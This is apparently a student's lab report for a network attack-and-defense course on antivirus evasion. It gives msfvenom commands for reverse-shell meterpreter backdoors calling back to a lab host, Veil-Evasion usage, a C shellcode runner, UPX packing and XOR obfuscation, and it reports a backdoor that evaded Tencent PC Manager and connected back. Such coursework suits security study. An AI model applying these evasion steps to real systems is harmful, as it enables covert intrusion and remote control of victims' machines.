zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp3 免杀原理与实践

    2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp3 免杀原理与实践

    一、实验任务

    1.方法:
    ①正确使用msf编译器。
    ②msfvenom生成如jar之类的其他文件。
    ③veil。
    ④加壳工具。
    ⑤使用C+shellcode编程。
    ⑥使用其他课程未介绍方法。
    2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
    4.基础问题回答。

    二、实验步骤

    【任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧】

    正确使用msf编码器

    1.通过共享文件夹将实验二中最后生成的20175202_backdoor.exe后门程序传到主机中(要预先关闭杀毒软件);

    2.对20175202_backdoor.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    我们发现没有经过编码的原始后门程序,很容易就被杀软检测到了。下面我们使用msf编码器对改后门程序进行编码;
    3.我们通过msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.40.129 LPORT=5202 -f exe > exp3_encoded10.exe命令生成十次编码的后门程序;参数-I用于设置迭代次数;LHOST后面是Kali中的ip地址,生成结果如下;

    4.对exp3_encoded10.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    我们发现,多次编码对于免杀效果不大。

    msfvenom生成如jar之类的其他文件

    1.在Kali中生成jar文件,使用的命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202java.jar,结果如下;

    2.对20175202java.jar后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    3.在Kali中生成jsp文件,使用的命令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202jsp.jsp,结果如下;

    4.对20175202jsp.jsp后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    5.在Kali中生成apk文件,使用的命令为msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 x> 20175202android.apk,结果如下;

    6.对20175202android.apk后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    使用veil-evasion生成后门程序及检测

    1.Kali中没有veil,所以要事先安装,首先输入以下命令;

    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    

    2.使用sudo apt-get install veil-evasion命令安装veil,中途会遇到很多很多问题。。,出现以下效果代表安装成功;

    3.使用veil命令进入veil中,然后输入use evasion,进入veil-evasion

    4.输入命令use c/meterpreter/rev_tcp.py进入配置界面;

    5.输入set LHOST 192.168.40.129设置反弹连接IP,输入 set LPORT 5202设置端口,然后输入options,如图;

    6.输入generate生成文件,接着输入生成的playload的名称veil_c_5202,保存路径为: /var/lib/veil/output/source/veil_c_5202.exe,如图;

    7.在文件夹中然后选择其他位置,然后选择计算机,然后根据上一步得到的路劲一次打开文件夹,可以找到生成的veil_c_5202.exe,如图;

    8.对veil_c_5202.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    使用C+shellcode编程

    1.输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -f c命令来生成shellcode;

    2.命令行中通过vim gxyshell.c创建.c文件,将生产成的buf [ ] 赋值到代码中;
    unsigned char buf[] = (上图中生成的shellcode)

    int main()
    {
    int (func)() = (int()())buf;
    func();
    }
    3.通过i686-w64-mingw32-g++ gxyshell.c -o gxyshell.exe命令,将.c文件转化为可执行文件;


    4.对gxyshell.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    使用加壳工具

    1.使用命令upx gxyshell.exe -o gxyshell_upxed.exe,将上一步中生成的gxyshell.exe加压缩壳得到gxyshell_upxed.exe;

    2.对gxyshell_upxed.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    【任务二:使用其他课程未介绍的方法】

    1.我们对shellcode进行免杀变形,步骤如下;
    (1)我们首先使用msfvenom生成shellcode;
    (2)将shellcode依次与'0'进行异或;
    (3)我们把异或后的shellcode加入生成的程序,该程序再将此shellcode与"0"依次异或一次,把它还原为原来的shellcode,因为没有了Shellcode的特征码,所以不易被杀软检测到;
    (4)最后生成该后门程序。
    2.对qtffgxy.exe后门程序通过VirusTotal或VirSCAN进行检测,VirsusTotal中结果如下;

    【任务三:通过组合应用各种技术实现恶意代码免杀】

    1.方式为多次编码的shellcode+异或"0"的变形+免杀申请动态内存代码+压缩壳;
    2.生成的是5202gxyzh.exe,目标是自己的主机,杀毒软件是电脑管家;
    3.测试可用性,结果如下图,扫描出的3个危险报警是实验二和这次试验之前的一些后门程序,本次综合各种技术生成的程序,成功逃过了电脑管家;

    【任务四:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本】

    1.我使用在同一路由器下的另一台电脑,操作系统是win10,杀毒软件是电脑管家;
    2.我们打开电脑管家,然后开始运行后门程序5202gxyzh.exe,发现可以正常运行,杀毒软件并未检测到,并且可以正常回连,结果如图;

    三、实验过程中遇到的问题

    1.问题:下载veil时,下载一会就会出现远程挂断,如下;

    解决:参考学长学姐博客,换了一种下载方式,折腾了很久,终于下载成功了;

    2.问题:veil下载成功后,输入veil,仍然提示错误,无法运行````veil```,如下;

    解决:参考CSDN中,看到有人说,执行命令/usr/share/veil/config/setup.sh --force --silent可自动修护一些错误,使用命令后,确实解决了问题,如下;

    3.问题:在实验中,复制shellcode的内容后,将.c文件转成可执行程序时,提示以下错误,如图;

    解决:发现将shellcode的内容复制后,没有在结尾加分号,不符合代码标准,同时没有下载编码软件,加了分号,并使用命令i686-w64-mingw32-g++ wpyshell.c -o wpyshell.exe下载编码软件后,成功转化了,如图;

    四、问题的回答

    1.杀软是如何检测出恶意代码的?
    回答:①根据特征来检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
    ②根据行为来检测:如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码,有时候不是恶意代码的程序也会把查杀,因为这些程序做了一些计算机认为不安全的事情,比较常见的就是各自破解补丁或者游戏外挂等。
    2.免杀是做什么?
    回答:免杀就是通过某些手段对软件进行处理或变化,使其特征不在杀软的木马库里,让它不被杀毒软件检测出来。
    3.免杀的基本方法有哪些?
    回答:①改变特征码
    加壳:压缩壳 加密壳(就是给含有恶意代码的程序加一个外包装,让杀软不知道里面装的是什么);用encode进行编码;基于payload重新编译生成可执行文件;用其他语言进行重写再编译;veil-evasion。
    ②改变行为
    尽量使用反弹式连接;使用隧道技术;加密通讯数据;加入混淆作用的正常功能代码。
    ③非常规方法
    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件。
    4.开启杀软能绝对防止电脑中恶意代码吗?
    回答:通过实验我们发现,恶意代码会通过各种方式隐藏自己,修饰自己,逃过一些杀毒软件的“法眼”,因此开启杀软并不能绝对防止电脑中恶意代码。

    五、实验心得与体会

    这次实验让我感觉非常刺激,在之前的实验中,我们在实验中需要全程关闭杀软,才能正常进行。而在本次实验中,我们通过加壳、重编译、反弹式连接等各种方法,一次次逃过杀软的“法眼”。在实验过程的推进中,随着使用的技术越来越多,并相互结合,每次在VirsusTotal中检测时,发现能够发现的杀软数量越来越低,心中的满足感就越来越强,有一种“小黑客”的感觉。这次实验的整体过程不太顺利,veil的下载花了一天多的时间,尝试了各种方法,才终于下载成功,下载成功后还不能正常使用,又需要查阅资料,来一点点修复,这次实验对我的耐心考验很大,实验过程中确实暴躁过,但最终一步步完成了实验,心中更多的是成就感。通过这次实验,我发现了自己平时很信任的杀毒软件其实并没有那么可靠,现在的恶意代码有很多种隐藏方式,他们很容易逃过杀软的法眼,因此以后不能只依靠杀软,自己的安全意识也还要进一步增强,这是这次实验给我的一个很大的启示。
  • 相关阅读:
    查看eclipse的安装路径
    js中Number()、parseInt()和parseFloat()的区别进行详细介绍
    JSON 基础学习1
    Jquery Math ceil()、floor()、round()比较与用法
    easyui获取当前点击对象tabs的title和Index
    java中String,int,Integer,char、double类型转换
    DNA排序
    The Peanuts
    牛的选举——取最大k个数
    数据筛选——第k小的数
  • 原文地址:https://www.cnblogs.com/gexvyang/p/12586914.html
Copyright © 2011-2022 走看看